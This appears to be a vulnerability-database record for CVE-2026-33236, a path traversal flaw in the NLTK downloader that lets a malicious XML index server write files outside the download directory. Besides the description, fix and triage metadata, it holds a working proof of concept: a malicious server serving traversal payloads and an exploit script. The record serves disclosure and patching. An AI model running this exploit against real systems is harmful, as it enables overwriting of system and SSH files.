{"id":"CVE-2026-33236","kind":"vulnerability","aliases":["CVE-2026-33236","GHSA-469j-vmhf-r6v7"],"related":[],"title":"NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite","description":"## Vulnerability Description\n\nThe NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to:\n\n1. **Arbitrary Directory Creation**: Create directories at arbitrary locations in the file system\n2. **Arbitrary File Creation**: Create arbitrary files\n3. **Arbitrary File Overwrite**: Overwrite critical system files (such as `/etc/passwd`, `~/.ssh/authorized_keys`, etc.)\n\n## Vulnerability Principle\n\n### Key Code Locations\n\n**1. XML Parsing Without Validation** (`nltk/downloader.py:253`)\n```python\nself.filename = os.path.join(subdir, id + ext)\n```\n- `subdir` and `id` are directly from XML attributes without any validation\n\n**2. Path Construction Without Checks** (`nltk/downloader.py:679`)\n```python\nfilepath = os.path.join(download_dir, info.filename)\n```\n- Directly uses `filename` which may contain path traversal\n\n**3. Unrestricted Directory Creation** (`nltk/downloader.py:687`)\n```python\nos.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)\n```\n- Can create arbitrary directories outside the download directory\n\n**4. File Writing Without Protection** (`nltk/downloader.py:695`)\n```python\nwith open(filepath, \"wb\") as outfile:\n```\n- Can write to arbitrary locations in the file system\n\n### Attack Chain\n\n```\n1. Attacker controls remote XML index server\n   ↓\n2. Provides malicious XML: <package id=\"passwd\" subdir=\"../../etc\" .../>\n   ↓\n3. Victim executes: downloader.download('passwd')\n   ↓\n4. Package.fromxml() creates object, filename = \"../../etc/passwd.zip\"\n   ↓\n5. _download_package() constructs path: download_dir + \"../../etc/passwd.zip\"\n   ↓\n6. os.makedirs() creates directory: download_dir + \"../../etc\"\n   ↓\n7. open(filepath, \"wb\") writes file to /etc/passwd.zip\n   ↓\n8. System file is overwritten!\n```\n\n## Impact Scope\n1. **System File Overwrite**\n\n## Reproduction Steps\n\n### Environment Setup\n\n1. Install NLTK\n```bash\npip install nltk\n```\n\n2. Prepare malicious server and exploit script (see PoC section)\n\n### Reproduction Process\n\n**Step 1: Start malicious server**\n```bash\npython3 malicious_server.py\n```\n\n**Step 2: Run exploit script**\n```bash\npython3 exploit_vulnerability.py\n```\n\n**Step 3: Verify results**\n```bash\nls -la /tmp/test_file.zip\n```\n\n## Proof of Concept\n\n### Malicious Server (malicious_server.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Malicious HTTP Server - Provides XML index with path traversal\"\"\"\nimport os\nimport tempfile\nimport zipfile\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\n# Create temporary directory\nserver_dir = tempfile.mkdtemp(prefix=\"nltk_malicious_\")\n\n# Create malicious XML (contains path traversal)\nmalicious_xml = \"\"\"<?xml version=\"1.0\"?>\n<nltk_data>\n  <packages>\n    <package id=\"test_file\" subdir=\"../../../../../../../../../tmp\" \n             url=\"http://127.0.0.1:8888/test.zip\" \n             size=\"100\" unzipped_size=\"100\" unzip=\"0\"/>\n  </packages>\n</nltk_data>\n\"\"\"\n\n# Save files\nwith open(os.path.join(server_dir, \"malicious_index.xml\"), \"w\") as f:\n    f.write(malicious_xml)\n\nwith zipfile.ZipFile(os.path.join(server_dir, \"test.zip\"), \"w\") as zf:\n    zf.writestr(\"test.txt\", \"Path traversal attack!\")\n\n# HTTP Handler\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        if self.path == '/malicious_index.xml':\n            self.send_response(200)\n            self.send_header('Content-type', 'application/xml')\n            self.end_headers()\n            with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:\n                self.wfile.write(f.read())\n        elif self.path == '/test.zip':\n            self.send_response(200)\n            self.send_header('Content-type', 'application/zip')\n            self.end_headers()\n            with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:\n                self.wfile.write(f.read())\n        else:\n            self.send_response(404)\n            self.end_headers()\n    \n    def log_message(self, format, *args):\n        pass\n\n# Start server\nif __name__ == \"__main__\":\n    port = 8888\n    server = HTTPServer((\"0.0.0.0\", port), Handler)\n    print(f\"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml\")\n    print(\"Press Ctrl+C to stop\")\n    try:\n        server.serve_forever()\n    except KeyboardInterrupt:\n        print(\"\\nServer stopped\")\n```\n\n### Exploit Script (exploit_vulnerability.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"AFO Vulnerability Exploit Script\"\"\"\nimport os\nimport tempfile\n\ndef exploit(server_url=\"http://127.0.0.1:8888/malicious_index.xml\"):\n    download_dir = tempfile.mkdtemp(prefix=\"nltk_exploit_\")\n    print(f\"Download directory: {download_dir}\")\n    \n    # Exploit vulnerability\n    from nltk.downloader import Downloader\n    downloader = Downloader(server_index_url=server_url, download_dir=download_dir)\n    downloader.download(\"test_file\", quiet=True)\n    \n    # Check results\n    expected_path = \"/tmp/test_file.zip\"\n    if os.path.exists(expected_path):\n        print(f\"\\n✗ Exploit successful! File written to: {expected_path}\")\n        print(f\"✗ Path traversal attack successful!\")\n    else:\n        print(f\"\\n? File not found, download may have failed\")\n\nif __name__ == \"__main__\":\n    exploit()\n```\n\n### Execution Results\n\n```\n✗ Exploit successful! File written to: /tmp/test_file.zip\n✗ Path traversal attack successful!\n```","summary":"NLTK's downloader trusts the subdir and id attributes in remote XML index files without checking for path traversal sequences such as ../. A malicious index server can make it create directories and write files outside the download directory, including overwriting system files.","severity":"high","cvss":8.1,"epss":0.006,"exploited":false,"exploited_at":null,"products":[{"name":"nltk","fixed":["3.9.4"],"affected":"< 3.9.4","ecosystem":"pypi"},{"name":"nltk","fixed":[],"affected":"<= 3.9.3","ecosystem":"vendor"}],"ecosystems":["pypi","vendor"],"tags":["cwe-22","nltk","package","pypi","python"],"not_affected_if":["local-data-only","no-downloader-calls"],"how_to_check":"- Check the installed version with `pip show nltk`; versions below `3.9.4` are affected.\n- Check whether the downloader is pointed at an index server you do not control (the sources do not name a default index).","fix":"- nltk: upgrade to `3.9.4`","status":"open","published_at":"2026-03-19T12:42:42+00:00","first_seen_at":"2026-11-04T03:16:03+00:00","triaged_at":"2026-11-04T03:16:21+00:00","updated_at":"2026-11-04T03:46:40+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-04T03:16:21Z","model":"claude-haiku-5-5","output":{"fix":"- nltk: upgrade to `3.9.4`","reach":"network","title":"NLTK: malicious download index can overwrite arbitrary files on disk","impact":"high","summary":"NLTK's downloader trusts the subdir and id attributes in remote XML index files without checking for path traversal sequences such as ../. A malicious index server can make it create directories and write files outside the download directory, including overwriting system files.","audience":"developers","category":"package","nicknames":[],"who_cares":["python","nltk","pypi"],"confidence":0.8,"fix_status":"available","needs_auth":"no","worst_case":"Files outside the download directory overwritten, such as SSH keys","analyst_note":"","how_to_check":"- Check the installed version with `pip show nltk`; versions below `3.9.4` are affected.\n- Check whether the downloader is pointed at an index server you do not control (the sources do not name a default index).","plain_action":"","needs_analyst":false,"not_affected_if":["no-downloader-calls","local-data-only"],"who_is_affected":"Applications and scripts that call NLTK's downloader to fetch data from an index server, especially one configured by someone else or reached over an untrusted network. Code that only uses NLTK data already on disk, or never calls the downloader, is not exposed through this path.","user_interaction":"yes","needs_special_setup":"no","severity_if_unknown":"unknown"},"cost_usd":0.00139,"input_tokens":6354,"output_tokens":1509,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-2026':13A,21A '-22':26B '-33236':14A,22A '/../etc':281C '/../etc/passwd.zip':266C,274C '/.ssh/authorized_keys':145C '/etc/passwd':144C '/etc/passwd.zip':289C '/malicious_index.xml':433C '/test.zip':458C '/tmp/test_file.zip':347C '/usr/bin/env':355C '1':114C,152C,245C,297C,305C,325C '2':127C,176C,252C,312C,333C '200':436C,461C '253':158C '3':134C,197C,256C,341C '4':220C,261C '469j':17A '5':267C '6':275C '679':182C '687':202C '695':226C '7':282C '8':290C 'afo':8A 'application/xml':442C 'application/zip':467C 'arbitrari':9A,115C,121C,128C,132C,135C,214C,237C 'attack':92C,243C,246C,421C 'attribut':39B,85C,172C 'basehttprequesthandl':376C,426C 'bash':308C,329C,337C,344C 'chain':244C 'check':46B,180C 'class':424C 'code':150C 'concept':350C 'construct':178C,270C 'contain':104C,194C,389C 'content':440C,465C 'content-typ':439C,464C 'control':94C,247C 'creat':60B,118C,131C,213C,263C,277C,377C,386C 'creation':117C,130C,200C 'critic':139C 'cve':12A,20A 'cwe':25B 'def':427C 'descript':74C 'dir':187C,207C,273C,280C,381C,400C,412C,449C,474C 'direct':169C,189C 'directori':61B,68B,116C,119C,199C,215C,219C,278C,379C 'download':4A,33B,67B,77C,186C,206C,218C,268C,272C,279C 'downloader.download':259C 'elif':456C 'els':481C 'environ':303C 'etc':146C 'execut':258C 'exist':209C 'exploit':317C,335C 'exploit_vulnerability.py':339C 'ext':164C 'f':404C,453C,478C 'f.read':455C,480C 'f.write':405C 'file':10A,44B,64B,72B,91C,125C,129C,133C,136C,141C,221C,241C,287C,292C,299C,395C 'filenam':191C,265C 'filepath':184C,230C,284C 'get':429C 'ghsa':16A 'ghsa-469j-vmhf-r6v7':15A 'handler':423C,425C 'header':438C,444C,463C,469C 'http':358C,422C 'http.server':373C 'httpserver':375C 'id':38B,84C,163C,167C 'impact':295C 'import':366C,368C,370C,374C 'includ':69B 'index':43B,55B,90C,98C,250C,362C 'info.filename':188C 'info.subdir':208C 'instal':306C,310C 'key':149C 'la':346C 'lead':112C 'locat':122C,151C,238C 'ls':345C 'make':58B 'malici':54B,102C,254C,314C,327C,351C,357C,385C,387C,392C,406C 'malicious_index.xml':401C,450C 'malicious_server.py':331C,353C 'may':193C 'nltk':1A,23A,24A,27B,31B,76C,307C,311C,384C 'nltk/downloader.py':157C,181C,201C,225C 'object':264C 'ok':210C 'open':229C,283C,397C,446C,471C 'os':367C 'os.makedirs':204C,276C 'os.path.join':161C,185C,205C,398C,410C,447C,472C 'outfil':233C 'outsid':65B,216C 'overwrit':11A,70B,137C,138C,300C 'overwritten':294C 'packag':28B,269C 'package.fromxml':262C 'pars':154C 'passwd':260C 'path':5A,48B,105C,177C,195C,271C,364C,390C,419C 'pip':309C 'poc':320C 'prefix':383C 'prepar':313C 'principl':148C 'process':87C,323C 'proof':348C 'protect':224C 'provid':101C,253C,360C 'pypi':29B 'python':30B,159C,183C,203C,227C,354C 'python3':330C,338C,356C 'r6v7':19A 'rb':451C,476C 'remot':41B,88C,96C,248C 'reproduct':301C,322C 'resp':483C 'respons':435C,460C 'result':343C 'run':334C 'save':394C 'scope':296C 'script':318C,336C 'section':321C 'see':319C 'self':430C 'self.end':443C,468C 'self.filename':160C 'self.path':432C,457C 'self.send':434C,437C,459C,462C,482C 'self.wfile.write':454C,479C 'sequenc':50B,107C 'server':56B,99C,251C,315C,328C,352C,359C,380C,399C,411C,448C,473C 'setup':304C 'start':326C 'step':302C,324C,332C,340C 'subdir':36B,82C,162C,165C 'system':71B,126C,140C,242C,291C,298C 'tempfil':369C 'tempfile.mkdtemp':382C 'temporari':378C 'test.txt':418C 'test.zip':413C,475C 'travers':6A,49B,106C,196C,365C,391C,420C 'true':211C 'trust':34B 'type':441C,466C 'unrestrict':198C 'use':190C 'valid':80C,156C,175C 'valu':103C 'verifi':342C 'victim':257C 'vmhf':18A 'vulner':7A,73C,147C 'w':402C,414C 'wb':231C,285C 'without':45B,155C,173C,179C,223C 'write':63B,222C,235C,286C 'xml':42B,89C,97C,153C,171C,249C,255C,361C,388C,393C,407C 'zf':416C 'zf.writestr':417C 'zipfil':371C 'zipfile.zipfile':409C","nicknames":[],"mitigations":[],"who_affected":"Applications and scripts that call NLTK's downloader to fetch data from an index server, especially one configured by someone else or reached over an untrusted network. Code that only uses NLTK data already on disk, or never calls the downloader, is not exposed through this path.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["nltk"],"ptokens":["nltk"],"labels":["cwe22","high","nltk","package","pypi","python","vendor"],"campaign_type":null,"first_public_at":"2026-03-18T12:18:16+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-469j-vmhf-r6v7","url":"https://github.com/advisories/GHSA-469j-vmhf-r6v7","severity":"high","published_at":"2026-03-19T12:42:42+00:00","modified_at":"2026-11-04T03:13:59+00:00","first_seen_at":"2026-11-04T03:16:03+00:00","fetched_at":"2026-11-04T03:16:03+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-33236","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33236","severity":null,"published_at":"2026-03-20T23:16:47+00:00","modified_at":"2026-07-21T12:18:07+00:00","first_seen_at":"2026-11-04T03:46:40+00:00","fetched_at":"2026-11-04T03:46:40+00:00","note":null}],"documents":[{"id":63418,"url":"https://api.github.com/repos/nltk/nltk/security-advisories/GHSA-469j-vmhf-r6v7","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":63419,"url":"https://github.com/nltk/nltk/security/advisories/GHSA-469j-vmhf-r6v7","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-03-18T12:18:16+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":63420,"url":"https://github.com/nltk/nltk/commit/89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}